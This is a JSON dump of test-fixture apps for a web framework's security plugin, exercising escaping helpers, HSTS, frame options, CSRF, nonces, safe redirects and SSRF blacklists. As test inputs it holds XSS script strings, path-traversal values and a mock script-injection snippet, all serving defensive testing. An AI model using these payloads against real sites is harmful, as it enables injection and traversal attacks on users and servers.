    "content": "module.exports = (app) => {\n  app.get('/safejson', async function () {\n    const obj = {\n      a: 1,\n    };\n    this.body = `var foo = \"${this.helper.sjson(obj)}\"` === 'var foo = \"{\"a\":1}\"';\n  });\n\n  app.get('/unsafejson', async function () {\n    const obj2 = {\n      a: '<script type=\"sdfdsd\">alert(111)</script>',\n    };\n    this.body =\n      `${this.helper.sjson(obj2)}` ===\n      '{\"a\":\"\\\\\\\\x3cscript\\\\\\\\x20type\\\\\\\\x3d\\\\\\\\x22sdfdsd\\\\\\\\x22\\\\\\\\x3ealert\\\\\\\\x28111\\\\\\\\x29\\\\\\\\x3c\\\\\\\\x2fscript\\\\\\\\x3e\"}';\n  });\n\n  app.get('/unsafejson2', async function () {\n    const obj3 = {\n      a: {\n        b: {\n          c: {\n            d: '<script>?</script>',\n          },\n        },\n      },\n    };\n    this.body =\n      `${this.helper.sjson(obj3)}` ===\n      '{\"a\":{\"b\":{\"c\":{\"d\":\"\\\\\\\\x3cscript\\\\\\\\x3e\\\\\\\\x3f\\\\\\\\x3c\\\\\\\\x2fscript\\\\\\\\x3e\"}}}}';\n  });\n\n  app.get('/unsafejson3', async function () {\n    const obj4 = {\n      a: {\n        b: {\n          c: {\n            d: [\n              '<script>?</script>',\n              {\n                e: '<script>',\n              },\n            ],\n          },\n        },\n      },\n    };\n    this.body =\n      `${this.helper.sjson(obj4)}` ===\n      '{\"a\":{\"b\":{\"c\":{\"d\":[\"\\\\\\\\x3cscript\\\\\\\\x3e\\\\\\\\x3f\\\\\\\\x3c\\\\\\\\x2fscript\\\\\\\\x3e\",{\"e\":\"\\\\\\\\x3cscript\\\\\\\\x3e\"}]}}}}';\n  });\n\n  app.get('/unsafejson4', async function () {\n    const obj5 = {\n      a: {\n        b: {\n          c: {\n            '<script>': [\n              '<script>?</script>',\n              {\n                e: '<script>',\n              },\n            ],\n          },\n        },\n      },\n    };\n    this.body =\n      `${this.helper.sjson(obj5)}` ===\n      '{\"a\":{\"b\":{\"c\":{\"\\\\\\\\x3cscript\\\\\\\\x3e\":[\"\\\\\\\\x3cscript\\\\\\\\x3e\\\\\\\\x3f\\\\\\\\x3c\\\\\\\\x2fscript\\\\\\\\x3e\",{\"e\":\"\\\\\\\\x3cscript\\\\\\\\x3e\"}]}}}}';\n  });\n\n  app.get('/unsafejson5', async function () {\n    const obj6 = {\n      '<script>': 1,\n    };\n    this.body = `${this.helper.sjson(obj6)}` === '{\"\\\\\\\\x3cscript\\\\\\\\x3e\":1}';\n  });\n\n  app.get('/safejsontc2', async function () {\n    const obj = {\n      a: [1],\n    };\n    this.body = `var foo = \"${this.helper.sjson(obj)}\"` === 'var foo = \"{\"a\":[1]}\"';\n  });\n\n  app.get('/safejsontc3', async function () {\n    const obj = {\n      a: '1',\n    };\n    this.body = `var foo = \"${this.helper.sjson(obj)}\"` === 'var foo = \"{\"a\":\"1\"}\"';\n  });\n\n  app.get('/safejsontc4', async function () {\n    const obj = {\n      a: {\n        b: 2,\n      },\n    };\n    this.body = `var foo = \"${this.helper.sjson(obj)}\"` === 'var foo = \"{\"a\":{\"b\":2}}\"';\n  });\n\n  app.get('/safejsontc5', async function () {\n    const obj = {\n      a: Symbol(1),\n    };\n    this.body = `var foo = \"${this.helper.sjson(obj)}\"` === 'var foo = \"{}\"';\n  });\n\n  app.get('/safejsontc6', async function () {\n    const obj = {\n      a: function () {\n        alert(1);\n      },\n    };\n    this.body = `var foo = \"${this.helper.sjson(obj)}\"` === 'var foo = \"{}\"';\n  });\n\n  app.get('/safejsontc7', async function () {\n    const obj = {\n      a: new Buffer('222'),\n    };\n    this.body = `var foo = \"${this.helper.sjson(obj)}\"` === 'var foo = \"{\"a\":\"222\"}\"';\n  });\n\n  app.get('/safejsontc8', async function () {\n    const obj = {\n      a: null,\n    };\n    this.body = `var foo = \"${this.helper.sjson(obj)}\"` === 'var foo = \"{\"a\":null}\"';\n  });\n\n  app.get('/safejsontc9', async function () {\n    const obj = {\n      a: undefined,\n    };\n    this.body = `var foo = \"${this.helper.sjson(obj)}\"` === 'var foo = \"{}\"';\n  });\n\n  app.get('/safejsontc10', async function () {\n    const obj = {\n      a: true,\n    };\n    this.body = `var foo = \"${this.helper.sjson(obj)}\"` === 'var foo = \"{\"a\":true}\"';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-sjson-app/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-sjson-app/package.json",
    "content": "{\n  \"name\": \"helper-spath-app\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-spath-app/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/safepath', async function () {\n    const foo = '1.jpg';\n    this.body = `var foo = \"${this.helper.spath(foo)}\";` === 'var foo = \"1.jpg\";';\n  });\n\n  app.get('/unsafepath', async function () {\n    const foo2 = '../home/admin';\n    this.body = `${this.helper.spath(foo2)}` === 'null';\n  });\n\n  app.get('/unsafepath2', async function () {\n    const foo2 = '/usr/local/bin';\n    this.body = `${this.helper.spath(foo2)}` === 'null';\n  });\n\n  app.get('/unsafepath3', async function () {\n    const foo3 = '%2Fusr%2Flocal%2Fbin';\n    this.body = `${this.helper.spath(foo3)}` === 'null';\n  });\n\n  app.get('/unsafepath4', async function () {\n    const foo4 = '%252Fusr%252Flocal%252Fbin';\n    this.body = `${this.helper.spath(foo4)}` === 'null';\n  });\n\n  app.get('/unsafepath5', async function () {\n    const foo5 = '%hello';\n    this.body = `${this.helper.spath(foo5)}` === '%hello';\n  });\n\n  app.get('/unsafepath6', async function () {\n    const foo6 = { file: 'abc' };\n    this.body = `${this.helper.spath(foo6)}` === '[object Object]';\n  });\n\n  app.get('/unsafepath7', async function () {\n    const foo7 = '%24_a.js';\n    this.body = `${this.helper.spath(foo7)}` === '%24_a.js';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-spath-app/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-spath-app/package.json",
    "content": "{\n  \"name\": \"helper-spath-app\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/hsts/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', async function () {\n    this.body = '123';\n  });\n  app.get('/nosub', async function () {\n    this.securityOptions.hsts = {\n      includeSubdomains: false,\n    };\n    this.body = '123';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/hsts/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'hsts',\n  hsts: {\n    enable: true,\n    includeSubdomains: true,\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/hsts/package.json",
    "content": "{\n  \"name\": \"hsts\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/hsts-default/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', async function () {\n    this.body = '123';\n  });\n  app.get('/nosub', async function () {\n    this.securityOptions.hsts = {\n      includeSubdomains: false,\n    };\n    this.body = '123';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/hsts-default/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'hsts',\n  hsts: {\n    includeSubdomains: true,\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/hsts-default/package.json",
    "content": "{\n  \"name\": \"hsts\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/hsts-nosub/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', function () {\n    this.body = '123';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/hsts-nosub/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'hsts',\n  hsts: {\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/hsts-nosub/package.json",
    "content": "{\n  \"name\": \"hsts-nosub\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/iframe/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', controller);\n  app.get('/foo', controller);\n  app.get('/hello', controller);\n  app.get('/hello/other/world', controller);\n  app.get('/world/12', controller);\n\n  app.get('/options', options, controller);\n\n  async function controller() {\n    this.body = 'body';\n  }\n\n  async function options(ctx, next) {\n    ctx.securityOptions.xframe = {\n      value: 'ALLOW-FROM http://www.domain.com',\n    };\n    return next();\n  }\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/iframe/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'xframe',\n  xframe: {\n    ignore: ['/hello', '/world/:id'],\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/iframe/package.json",
    "content": "{\n  \"name\": \"iframe\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/iframe-allowfrom/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', controller);\n  app.get('/foo', controller);\n  app.get('/hello', controller);\n  app.get('/hello/other/world', controller);\n  app.get('/world/12', controller);\n\n  async function controller() {\n    this.body = 'body';\n  }\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/iframe-allowfrom/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'xframe',\n  xframe: {\n    value: 'ALLOW-FROM http://www.domain.com',\n    ignore: ['/hello', '/world/:id'],\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/iframe-allowfrom/package.json",
    "content": "{\n  \"name\": \"iframe\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/iframe-black-urls/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/hello', controller);\n  app.get('/hello/other/world', controller);\n\n  async function controller() {\n    this.body = 'body';\n  }\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/iframe-black-urls/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'xframe',\n  xframe: {\n    blackUrls: ['/hello', '/world/:id'],\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/iframe-black-urls/package.json",
    "content": "{\n  \"name\": \"iframe-black-urls\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/iframe-novalue/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', controller);\n  app.get('/foo', controller);\n  app.get('/hello', controller);\n  app.get('/hello/other/world', controller);\n  app.get('/world/12', controller);\n\n  async function controller() {\n    this.body = 'body';\n  }\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/iframe-novalue/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'xframe',\n  xframe: {\n    value: undefined,\n    ignore: ['/hello', '/world/:id'],\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/iframe-novalue/package.json",
    "content": "{\n  \"name\": \"iframe\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/inject/app/router.js",
    "content": "const mockHtml = `\n  <html>\n  <head>\n      <title></title>\n  </head>\n  <body>\n\n  </body>\n  </html>\n`;\n\nmodule.exports = (app) => {\n  app.get('/testcsrf', async function () {\n    let bodyString = '<form></form>';\n    this.body = app.injectCsrf(bodyString);\n  });\n  app.get('/testcsrf2', async function () {\n    let bodyString2 = '<form><input type=\"hidden\" name=\"_csrf\" value=\"{{ctx.csrf}}\"></form>';\n    this.body = app.injectCsrf(bodyString2);\n  });\n  app.get('/testcsrf3', async function () {\n    let bodyString9 = '<form><input type=\"hidden\" name=\\'_csrf\\' value=\"{{ctx.csrf}}\"></form>';\n    this.body = app.injectCsrf(bodyString9);\n  });\n  app.get('/testnonce', async function () {\n    let bodyString3 =\n      '<script></script><script></script><script></script ><script></script                    ><script></script        \\t\\n    \\r\\n         ><script></script\\t\\n bar>';\n    this.body = await this.renderString(this.nonce + '|' + app.injectNonce(bodyString3), this);\n  });\n  app.get('/testnonce2', async function () {\n    let bodyString4 = '<script nonce=\"{{ctx.nonce}}\"></script><script nonce=\"{{ctx.nonce}}\"></script>';\n    this.body = app.injectNonce(bodyString4);\n  });\n  app.get('/testrender', async function () {\n    this.set('x-csrf', this.csrf);\n    await this.render('index.nj', {});\n  });\n  app.get('/testispInjection', async function () {\n    const injectDefenceHtml = app.injectHijackingDefense(mockHtml);\n\n    function mockInject(html) {\n      const injectScript = '<script>document.write(\"haha250\")</script>';\n      const regHackByStart = /([\\S\\s]*?)<\\/html>/;\n      return html.replace(regHackByStart, function ($0, $1) {\n        return $1 + injectScript + '</html>';\n      });\n    }\n    // console.log(mockInject(mockHtml));\n    this.body = await this.renderString(mockInject(injectDefenceHtml), this);\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/inject/app/view/index.nj",
    "content": "<form><input type=\"hidden\" name=\"_csrf\" value=\"{{ctx.csrf}}\"></form>\n<script nonce=\"{{ctx.nonce}}\"></script><script nonce=\"{{ctx.nonce}}\"></script>\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/inject/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.view = {\n  defaultViewEngine: 'nunjucks',\n  mapping: {\n    '.nj': 'nunjucks',\n  },\n};\n\nexports.security = {\n  defaultMiddleware: 'csp',\n  csp: {\n    enable: true,\n    policy: {\n      'script-src': [\"'self'\", \"'unsafe-inline'\", \"'unsafe-eval'\", 'www.google-analytics.com'],\n      'style-src': [\"'unsafe-inline'\", 'www.google-analytics.com'],\n      'img-src': [\"'self'\", 'data:', 'www.google-analytics.com'],\n      'frame-ancestors': [\"'self'\"],\n      'report-uri': 'http://pointman.domain.com/csp?app=csp',\n    },\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/inject/config/plugin.js",
    "content": "'use strict';\n\nexports.nunjucks = {\n  enable: true,\n  package: 'egg-view-nunjucks',\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/inject/package.json",
    "content": "{\n  \"name\": \"inject\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/isSafeDomain/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', async function () {\n    const unsafeDomains = ['aAa-domain.com', '192.1.168.0', 'http://www.baidu.com/zh-CN', 'www.alimama.com'];\n    let unsafeCounter = 0;\n    for (let unsafeDomain of unsafeDomains) {\n      if (!this.isSafeDomain(unsafeDomain)) {\n        unsafeCounter++;\n      }\n    }\n    this.body = unsafeCounter === 4 ? false : true;\n  });\n  app.get('/safe', async function () {\n    const safeDomains = ['wWw.domain.com', '192.1.0.255', 'http://www.BaIDu.com', 'wwW.alIbAbA.com'];\n    let safeCounter = 0;\n    for (let safeDomain of safeDomains) {\n      if (this.isSafeDomain(safeDomain)) {\n        safeCounter++;\n      }\n    }\n    this.body = safeCounter === 4;\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/isSafeDomain/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'xframe',\n  domainWhiteList: ['.domain.com', 'http://www.baidu.com', '192.*.0.*', '*.alibaba.com'],\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/isSafeDomain/package.json",
    "content": "{\n  \"name\": \"isSafeDomain\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/isSafeDomain-custom/app/router.js",
    "content": "module.exports = function (app) {\n  const customWhiteList = ['*.foo.com', '*.bar.net'];\n\n  app.get('/unsafe', async function () {\n    const unsafeDomains = [\n      // unsafe\n      'aAa-domain.com',\n      '192.1.168.0',\n      'http://www.baidu.com/zh-CN',\n      'www.alimama.com',\n      'foo.com.cn',\n      'a.foo.com.cn',\n\n      // safe\n      'pre-www.foo.com',\n      'pre-www.bar.net',\n    ];\n    let unsafeCounter = 0;\n    for (let unsafeDomain of unsafeDomains) {\n      if (!this.isSafeDomain(unsafeDomain, customWhiteList)) {\n        unsafeCounter++;\n      }\n    }\n\n    this.body = unsafeCounter === 6 ? false : true;\n  });\n\n  app.get('/safe', async function () {\n    const safeDomains = [\n      'a.foo.com',\n      'a.b.foo.com',\n      'a.b.c.foo.com',\n      'pre-www.foo.com',\n      'test.pre-www.foo.com',\n      'a.bar.net',\n      'a.b.bar.net',\n      'a.b.c.bar.net',\n      'pre-www.bar.net',\n      'test.pre-www.bar.net',\n    ];\n    let safeCounter = 0;\n\n    for (const safeDomain of safeDomains) {\n      if (this.isSafeDomain(safeDomain, customWhiteList)) {\n        safeCounter++;\n      }\n    }\n\n    this.body = safeCounter === 10;\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/isSafeDomain-custom/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'xframe',\n  domainWhiteList: ['.domain.com', 'http://www.baidu.com', '192.*.0.*', '*.alibaba.com'],\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/isSafeDomain-custom/package.json",
    "content": "{\n  \"name\": \"isSafeDomain\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/method/app/router.js",
    "content": "const { METHODS } = require('node:http');\n\nmodule.exports = function (app) {\n  METHODS.forEach(function (m) {\n    m = m.toLowerCase();\n    app.router[m] &&\n      app.router[m]('/', async function () {\n        this.body = '123';\n      });\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/method/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'methodnoallow',\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/method/package.json",
    "content": "{\n  \"name\": \"method_not_allow\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/noopen/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', function () {\n    this.body = '123';\n  });\n\n  app.get('/disable', function () {\n    this.securityOptions.noopen = { enable: false };\n    this.body = '123';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/noopen/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'noopen',\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/noopen/package.json",
    "content": "{\n  \"name\": \"noopen\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/nosniff/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', function () {\n    this.body = '123';\n  });\n\n  app.get('/disable', function () {\n    this.securityOptions.nosniff = { enable: false };\n    this.body = '123';\n  });\n\n  app.get('/redirect', function () {\n    this.redirect('/');\n  });\n\n  app.get('/redirect301', function () {\n    this.status = 301;\n    this.redirect('/');\n  });\n\n  app.get('/redirect307', function () {\n    this.status = 307;\n    this.redirect('/');\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/nosniff/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'nosniff',\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/nosniff/package.json",
    "content": "{\n  \"name\": \"nosniff\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/referrer/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', function () {\n    this.body = '123';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/referrer/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'referrerPolicy',\n  referrerPolicy: {\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/referrer/package.json",
    "content": "{\n  \"name\": \"referrer\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/referrer-config/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', function () {\n    this.body = '123';\n  });\n  app.get('/referrer', function () {\n    const policy = this.query.policy;\n    this.body = '123';\n    this.securityOptions.referrerPolicy = {\n      enable: true,\n      value: policy,\n    };\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/referrer-config/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'referrerPolicy',\n  referrerPolicy: {\n    value: 'origin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/referrer-config/package.json",
    "content": "{\n  \"name\": \"referrer-config\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/referrer-config-compatibility/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', function () {\n    this.body = '123';\n  });\n  app.get('/referrer', function () {\n    const policy = this.query.policy;\n    this.body = '123';\n    this.securityOptions.refererPolicy = {\n      enable: true,\n      value: policy,\n    };\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/referrer-config-compatibility/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'referrerPolicy',\n  referrerPolicy: {\n    value: 'origin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/referrer-config-compatibility/package.json",
    "content": "{\n  \"name\": \"referrer-config\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/safe_redirect/app/controller/home.js",
    "content": "exports.safeRedirect = async function () {\n  const goto = this.query.goto;\n  console.log('%j, %s', goto, goto);\n  this.redirect(goto);\n};\n\nexports.unSafeRedirect = async function () {\n  const goto = this.query.goto;\n  this.unsafeRedirect(goto);\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/safe_redirect/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/safe_redirect', app.controller.home.safeRedirect);\n  app.get('/unsafe_redirect', app.controller.home.unSafeRedirect);\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/safe_redirect/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  csrf: {\n    enable: false,\n  },\n  domainWhiteList: ['.domain.com'],\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/safe_redirect/package.json",
    "content": "{\n  \"name\": \"safe_redirect\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/safe_redirect_noconfig/app/controller/home.js",
    "content": "exports.safeRedirect = async function () {\n  const goto = this.query.goto;\n  this.redirect(goto);\n};\n\nexports.unSafeRedirect = async function () {\n  const goto = this.query.goto;\n  this.unsafeRedirect(goto);\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/safe_redirect_noconfig/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/safe_redirect', app.controller.home.safeRedirect);\n  app.get('/unsafe_redirect', app.controller.home.unSafeRedirect);\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/safe_redirect_noconfig/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  ctoken: {\n    enable: false,\n  },\n\n  csrf: {\n    enable: false,\n  },\n  domainWhiteList: [],\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/safe_redirect_noconfig/package.json",
    "content": "{\n  \"name\": \"safe_redirect_noconfig\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/security/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', function () {\n    this.body = this.isSafeDomain('aaa-domain.com');\n  });\n  app.get('/safe', function () {\n    this.body = this.isSafeDomain('www.domain.com');\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/security/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/security/package.json",
    "content": "{\n  \"name\": \"isSafeDomain\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/security-override-controller/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', function () {\n    delete this.response.header['Strict-Transport-Security'];\n    delete this.response.header['X-Download-Options'];\n    delete this.response.header['X-Content-Type-Options'];\n    delete this.response.header['X-XSS-Protection'];\n    this.body = this.isSafeDomain('aaa-domain.com');\n  });\n  app.get('/safe', function () {\n    this.body = this.isSafeDomain('www.domain.com');\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/security-override-controller/config/config.js",
    "content": "exports.keys = 'test key';\n\nexports.security = {\n  hsts: {\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/security-override-controller/package.json",
    "content": "{\n  \"name\": \"isSafeDomain\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/security-override-middleware/app/middleware/override.js",
    "content": "module.exports = () => {\n  return async (ctx, next) => {\n    delete ctx.response.header['Strict-Transport-Security'];\n    delete ctx.response.header['X-Download-Options'];\n    delete ctx.response.header['X-Content-Type-Options'];\n    delete ctx.response.header['X-XSS-Protection'];\n    await next();\n    delete ctx.response.header['Strict-Transport-Security'];\n    delete ctx.response.header['X-Download-Options'];\n    delete ctx.response.header['X-Content-Type-Options'];\n    delete ctx.response.header['X-XSS-Protection'];\n  };\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/security-override-middleware/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', function () {\n    this.body = this.isSafeDomain('aaa-domain.com');\n  });\n  app.get('/safe', function () {\n    this.body = this.isSafeDomain('www.domain.com');\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/security-override-middleware/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\n// 自定义中间件\nexports.middleware = ['override'];\n\nexports.security = {\n  hsts: {\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/security-override-middleware/package.json",
    "content": "{\n  \"name\": \"isSafeDomain\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/security-unset/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', function () {\n    this.body = this.isSafeDomain('aaa-domain.com');\n  });\n  app.get('/safe', function () {\n    this.body = this.isSafeDomain('www.domain.com');\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/security-unset/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  xframe: {\n    enable: false,\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/security-unset/package.json",
    "content": "{\n  \"name\": \"isSafeDomain\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/ssrf-check-address/config/config.default.js",
    "content": "'use strict';\n\nexports.security = {\n  ssrf: {\n    ipBlackList: ['10.0.0.0/8', '127.0.0.1', '0.0.0.0/32'],\n    checkAddress(ip) {\n      return ip !== '127.0.0.2';\n    },\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/ssrf-check-address/package.json",
    "content": "{\n  \"name\": \"ssrf-ip-check-address\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/ssrf-check-address-useHttpClientNext/config/config.default.js",
    "content": "exports.security = {\n  ssrf: {\n    ipBlackList: ['10.0.0.0/8', '127.0.0.1', '0.0.0.0/32'],\n    checkAddress(ip) {\n      return ip !== '127.0.0.2';\n    },\n  },\n};\n\nexports.httpclient = {\n  useHttpClientNext: true,\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/ssrf-check-address-useHttpClientNext/package.json",
    "content": "{\n  \"name\": \"ssrf-ip-check-address-useHttpClientNext\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/ssrf-hostname-exception-list/config/config.default.js",
    "content": "'use strict';\n\nexports.security = {\n  ssrf: {\n    ipBlackList: ['10.0.0.0/8', '127.0.0.1', '0.0.0.0/32'],\n    hostnameExceptionList: ['registry.npmjs.org', 'registry.npmmirror.com'],\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/ssrf-hostname-exception-list/package.json",
    "content": "{\n  \"name\": \"ssrf-ip-black-list\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/ssrf-ip-black-list/config/config.default.js",
    "content": "'use strict';\n\nexports.security = {\n  ssrf: {\n    ipBlackList: ['10.0.0.0/8', '127.0.0.1', '0.0.0.0/32'],\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/ssrf-ip-black-list/package.json",
    "content": "{\n  \"name\": \"ssrf-ip-black-list\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/ssrf-ip-exception-list/config/config.default.js",
    "content": "'use strict';\n\nexports.security = {\n  ssrf: {\n    ipBlackList: ['10.0.0.0/8', '127.0.0.1', '0.0.0.0/32'],\n    ipExceptionList: ['10.1.1.1'],\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/ssrf-ip-exception-list/package.json",
    "content": "{\n  \"name\": \"ssrf-ip-black-list\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/utils-check-if-pass/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/match', function () {\n    this.body = 'hello';\n  });\n  app.get('/luckydrq', function () {\n    this.body = 'hello';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/utils-check-if-pass/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'csp',\n  match: /\\/(?:match|ignore)/,\n  csp: {\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/utils-check-if-pass/package.json",
